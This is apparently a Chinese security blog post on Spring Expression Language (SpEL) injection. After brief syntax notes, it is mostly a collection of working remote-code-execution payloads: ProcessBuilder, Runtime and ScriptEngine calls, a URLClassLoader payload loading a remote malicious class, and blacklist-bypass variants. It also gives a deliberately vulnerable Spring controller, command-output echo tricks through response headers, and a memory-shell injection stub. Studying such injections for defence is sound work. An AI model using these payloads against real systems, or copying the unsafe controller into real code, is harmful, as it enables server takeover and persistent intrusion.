• SPEL表达式注入分析


    环境依赖

     
        
            org.springframework
            spring-expression
            5.1.9.RELEASE
        
    
    

    SPEL表达式基础

    SPEL简介

    在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
    在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
    SpEL有许多特性:

    • 使用Bean的ID来引用Bean
    • 可调用方法和访问对象的属性
    • 可对值进行算数、关系和逻辑运算
    • 可使用正则表达式进行匹配
    • 可进行集合操作

    定界符${}与#{}

    这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被解析,#{}是SPEL特有的定界符,中间的内容会被解析

    类型表达式T()

    举个例子

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "T(java.lang.String)";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    
    // 输出
    class java.lang.String
    

    T中的内容会被解析成类,如上所示,这样我们也能解析java.lang.Runtime

    SPEL常见的表达式

    一些比较常见的表达式

    运算符类型 运算符
    算数运算 +, -, *, /, %, ^
    关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
    逻辑运算 and, or, not, !
    条件运算 ?:(ternary), ?:(Elvis)
    正则表达式 matches
    运算符 符号 文本类型
    等于 == eq
    小于 < lt
    小于等于 <= le
    大于 > gt
    大于等于 >= ge

    变量定义和引用

    在SPEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自定义变量,SPEL还允许引用根对象及当前上下文对象:

    • this:使用当前正在计算的上下文;

    • root:引用容器的root对象;

    • @something:引用Bean

    RCE直接利用

    常见有三种办法

    ProcessBuilder

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    

    Runtime

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    

    ScriptEngine

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
            // 或者
            String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    

    注意这里调用的js的引擎,支持js语法,所以利用方式非常的灵活,绕过黑名单啥的也是一把好手

    类加载RCE

    URLClassLoader

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
            String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    

    恶意类evilref用来弹计算器,自己写一个就行

    AppClassLoader

    package org.example;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    
    public class Main {
        public static void main(String[] args) {
            String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(cmdstr);
            System.out.println(exp.getValue());
        }
    }
    

    绕过

    假如ban掉了一些关键字,我们该如何获取classloader

    T(org.springframework.expression.Expression).getClass().getClassLoader()
    
    #thymeleaf 情况下
    T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
    
    #web服务下通过内置对象
    {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
    
    username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
    
    #BCEL
    T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})
    

    回显问题

    先搭建一个spring服务,写个controller

    package com.example.demo.controller;
    
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    @Controller
    public class spelcontroller {
        @RequestMapping("/spel")
        @ResponseBody
        public String spelvul(String payload){
            ExpressionParser parser = new SpelExpressionParser();
            Expression exp = parser.parseExpression(payload);
            return (String) exp.getValue();
        }
    
    }
    

    nmmd,我为什么回显不了,sb springboot,直接给payload吧

    BufferedReader

    new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

    Scanner

    new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
    这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

    ResponseHeader

    由于springboot没有response,所以自己注册一个

    package com.example.demo.controller;
    
    import jakarta.servlet.http.HttpServletRequest;
    import jakarta.servlet.http.HttpServletResponse;
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.SpelParserConfiguration;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.expression.spel.support.StandardEvaluationContext;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    @Controller
    public class spelcontroller {
        @RequestMapping("/spel")
        @ResponseBody
        public String spelvul(String payload, HttpServletResponse response){
            StandardEvaluationContext context=new StandardEvaluationContext();
            context.setVariable("response",response);
            ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
            Expression exp = parser.parseExpression(payload);
            return (String) exp.getValue();
        }
    }
    

    #response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
    然后就会返回一个x-cmd请求头带着我们的命令回显

    注入内存马

    不需要response,直接注内存马来搞回显
    T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18104101
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。
  • 相关阅读:
    JavaScript代码执行
    十五管还原炉舟皿自动卸料单元
    探索arkui(2)--- 布局(列表)--- 1(列表数据的展示)
    Zookeeper部署运行_集群安装
    2022年音视频面试题 C/C++/Linux/FFmpeg/webRTC/rtmp/hls/rtsp/ffplay/srs
    创建对象在堆区如何分配内存
    (附源码)计算机毕业设计SSM奖助学金评审系统
    【Java快速入门】Java语言的数组(七)
    单商户商城系统功能拆解41—应用中心—用户储值
    python加载图片无法显示原因探究/python内存回收机制作祟
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18104101